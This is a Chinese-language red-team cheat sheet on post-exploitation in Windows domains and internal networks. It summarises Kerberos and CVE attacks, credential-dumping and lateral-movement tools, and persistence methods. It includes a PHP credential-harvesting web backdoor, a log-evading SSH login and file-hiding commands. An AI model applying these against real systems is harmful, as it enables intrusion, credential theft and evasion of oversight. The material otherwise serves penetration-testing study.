Skip to content

5. 后渗透与内网横向

5.1 域渗透提权

凭证基础: NTLM流程 → winlogon.exe接收密码 → lsass.exe比对SAM

票据类型: 黄金票据 / 白银票据 / 钻石票据 / 蓝宝石票据

委派攻击: 非约束委派 / 约束委派 / 基于资源的约束委派(RBCD)

关键CVE速查: | CVE | 名称 | 核心原理 | |-----|------|---------| | MS14-068 | PAC伪造 | KDC对PAC签名算法无验证→伪造高权限PAC(512/520/518/519) → 利用前提: 域控未打KB3011780补丁 + 域内计算机 + 域用户密码和SID | | CVE-2020-1472 | Zerologon | AES-CFB8加密全零明文→1/256概率全零密文→NetrServerPasswordSet2置空密码(516字节零→空密码) | | CVE-2021-1675/34527 | PrintNightmare | RpcAddPrinterDriver无需SeLoadDriverPrivilege→SYSTEM RCE(Print Spooler服务) | | CVE-2021-42287+42278 | noPac | 机器账户名不以$结尾→创建与DC同名账户→请求TGT→改名→S4U2Self→高权限ST。MS-DS-Machine-Account-Quota=0时需对账户有写权限(GenericAll/加域账号) | | CVE-2022-26923 | ADCS | DNSHostname修改→证书欺骗 |

通过WSUS/SCCM提权: - WSUSpendu - 域内补丁更新服务器,原理类似EDR总控下发文件命令 - sccmwtf - 推PowerShell

通过AzureAD提权: Azure AD Sync → 获取同步账户 → DC Sync

打邮服: 域管登录过 / 翻邮件 / WriteACL权限→给自己dsync权限(PrivExchange)

堡垒机/运维机: web后门偷密码

web后门偷密码:

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $data = $username . ':' . $password . PHP_EOL;
    file_put_contents('users.txt', $data, FILE_APPEND | LOCK_EX);
}

抓取域管登陆服务器的hash / 找密码本 / 找特权组用户(Administrator/Backup Operators)

NTLM中继工具: Responder / Inveigh / multirelayx.py / PrinterBug / PetitPotam / DFSCoerce / ShadowCoerce / PrivExchange / Coercer

通过Distributed-COM-Users/Performance-Log-Users权限获得域控权限: 参考

分析组策略: gpoParser

域内自动化: PIGADVulnScanner

5.2 服务器提权

Potato系列原理: - SeImpersonate: 身份验证后模拟客户端(Windows 2000 SP4 / SCM启动的服务 / COM基础设施 / 本地管理员 / 本地服务账户) - 查看位置: gpedit → Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment - 这是给线程的权限

  • COM基础:
  • IUnknown接口: QueryInterface(dynamic_cast) / AddRef(引用计数) / Release
  • COM事件: event_source / event_receiver
  • BSTR: 分配时前面额外4字节长度字段
  • 内存: CoTaskMemAlloc / CoTaskMemFree
  • __uuidof / IID_PPV_ARGS / SafeRelease / CComPtr(不显式调用Release)

  • Rotten Potato:

  • SSPI(Security Support Provider Interface): NTLM SSP(Challenge/Response) / Kerberos(ticket)
  • CoGetInstanceFromIStorage
  • 参考: RottenPotatoNG / Foxglove Security

内核漏洞提权

5.3 RPC域内信息收集与横向移动

横向移动工具

工具 方法
wmiexec-Pro Win32_ScheduledJob
NO445-lateral-movement Win32_Process
WMIHACKER WMI命令执行
wmiexec-RegOut 注册表回显
SCShell ChangeServiceConfigW
WMIReg StdRegProv
rpc2socks SOCKS代理
ms_scmr 上传文件
smbtakeover 解除445/tcp绑定
dcomhijack DCOM相关DLL劫持
TaskSchedulerMisc MS-TSCH计划任务

信息收集

工具 方法
RPCSCAN ms-epmap
EFSRPCrpc EFSRPC-ping

RPC工具

工具 用途
RPCForge RPC Fuzz
WinObjEx64 Windows对象查看器
serviceDetector 连接445通过ms-lsat查询已安装服务
RPCMon 监控RPC
WFPExplorer Windows过滤平台对象
COMThanasia COM对象分析

5.4 域内凭证及口令收集

工具 功能
PassTheChallenge Credential Guard绕过
Pypykatz Python mimikatz
ADFSRelay ADFS认证Relay
NTLMRelay2Self Web Relay
Lsass-Shtinkering Windows错误报告服务
rbcd-attack 资源约束委派
Darksteel 域内自动化信息搜集
SharpUserIP 域控/远程提取登录日志→域用户IP
ADExplorerX AD浏览器
Dumpert System Calls转储(旧)
certsync 证书利用
lsass-dump 导出简单演示
UserRegEnum_0x727 域内普通域用户权限查找所有计算机上登录用户
DumpHash 干净hash导出(需高权限)
Plog mimikatz导出密码模块
SharpDPAPI 只读DPAPI
DragonCastle DLL劫持读hash
EZDump 简单导出C#
ETWHash 利用ETW事件读hash
ntlmthief 利用SSPI读hash
PPLFault 攻击PPL进程保护读hash
ADCSKiller ADCS利用工具
RToolZ ProcExp152.sys驱动转储PPL Lsass
SharpToken 找系统中所有进程泄露的Token
RDPCredentialStealer Detours API Hook读RDP登录凭证
ListRDPConnections 列出所有RDP连接记录
SharpDomainInfo 自动化信息收集
spraycharles 慢速密码喷射
GPOddity GPO利用
SharpExShell -
proc_noprocdump -
adeleg 查所有委派
NativeDump -
LeakedWallpaper 从session提取hash
LsassReflectDumping -
ShadowDumper 多种方式导出hash

5.5 权限维持

Windows后门

Linux后门

  • PAM后门
  • tsh后门

修改源码插入后门

5.6 内网核心设备攻防

NAS攻击

  • 弱口令(Web管理界面) / 未授权访问 / 已知CVE(NAS厂商特定)
  • 共享文件(SMB/NFS) → 敏感文档(合同/密码本/架构图)
  • 同步服务漏洞 → RCE → 横向到其他内网资产

邮服攻击

  • Exchange: ProxyLogon/ProxyShell/ProxyNotShell系列 / 规则后门
  • Coremail: 历史漏洞利用 / 管理后台弱口令
  • 翻邮件找: 域管凭证 / VPN账密 / 内部系统地址 / 机密附件
  • 配合Outlook规则持久化 / 邮件转发规则窃密

堡垒机攻击

  • JumpServer历史CVE / 管理后台弱口令 / Session录像泄露凭证
  • 通过堡垒机跳板到所有纳管资产(全链路横向)

vCenter攻击

  • CVE-2021-21972(vSphere Client RCE) / CVE-2021-21985 / CVE-2021-22005
  • SAML Token伪造(黄金票据变体) → 控制所有VM
  • 通过vCenter获取所有虚拟机快照/内存dump→提取凭证
  • 工具: vCenter-Attack

VDI云桌面攻击

  • Citrix/VMware Horizon/RDP网关漏洞
  • Cookie泄露→无需认证直接连接桌面
  • 影子文件窃取(BrowserPivot)
  • 登录凭证抓取(RDPCredentialStealer)

VPN设备攻击

  • Fortinet: CVE-2022-42475 / CVE-2023-27997 / CVE-2024-21762 → SSL VPN RCE
  • Palo Alto: CVE-2024-3400 → GlobalProtect RCE(无需认证)
  • Ivanti: CVE-2023-46805+CVE-2024-21887 → 认证绕过+RCE
  • VPN cookie窃取/重放 → 直接接入内网
  • 持久化: 植入后门到VPN设备固件→长期中间人

5.7 非域内网渗透

入口方式

入口 方法
Web打点(Linux getshell) 重新爬取web源码→敏感信息(secretkey/硬编码/URL) / 拖回审代码→更多漏洞维持权限 / 找web可访达目录→放马
VPN 漏洞获取shell / 漏洞泄露用户名密码(fortinet) / 漏洞泄露cookie(云桌面→勒索) / 流量清晰可见→快速找跳板机
SSO DNS劫持绕过二次验证 / 注意设备登录提醒 / OAuth漏洞
单挂Windows 注册表信息收集 / 找敏感文件 / RDP劫持

Linux getshell后操作

  • 找本机关键信息: hosts / history / .viminfo / SSH私钥
  • PAM抓SSH密码(SO文件本地搭环境自己编译)
  • 扫内存: dismember
  • Platypus
  • 找目录: find / -writable -type d 2>/dev/null / find / -perm -222 -type d / find / \( -perm -o w -perm -o x \) -type d
  • 查iptables
  • 幽灵登录: ssh -T root@192.168.1.1 /usr/bin/bash -i (不分配伪终端无日志有连接)
  • 搜索特定字符串: grep -rn "jdbc:oracle" /opt/

Windows信息收集

  • 注册表: Nemesis
  • 敏感文件: FileSearch / searchall / msi-search / FindEverything
  • 指定磁盘搜索: dir D:\ /S /B | find "orange1.jsp"
  • 全盘搜索: cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "ToDesk_Lite.exe""
  • RDP劫持: RDPCredentialStealer / pyrdp / RdpThief
  • 历史记录: cmd下doskey /history / PowerShell下Get-History
  • 远控开发: 执行命令+列目录+云OSS+Git
  • 修改文件时间: attrib +s +h +r 1.txt

数据外传

横向移动

  • Web端口: 常见web端口 / 服务器信息收集到的web端口(log/连接)
  • 其他端口漏洞: Docker-TCP-Scan / 做字典密码喷射(连接工具→teamide) / 数据库getshell / Kubernetes:8443
  • 关键网络设施/网关/DNS/设备弱口令: DNS劫持(甲方蓝军/国际酒店/Ettercap|HTTP) / Switch弱口令(cirtx) / CVE-2024-20399 Cisco RCE
  • 爆破域名

找域

  • KeyTabExtract
  • resolv.conf(DNS) / /etc/krb5.conf / smb.conf / cifs挂载 / 找NAS / 找AD验证web服务 / 源码+服务器配置文件
  • 找VDI(常见的域信息收集命令,涉及请求与空服务器的都不要用) / 找WSUS / 找SCCM / 找EDR管控终端
  • 查看网络连接: 139(双网卡) / 445 / 389 / 636
  • GitLab等...

TV/向日葵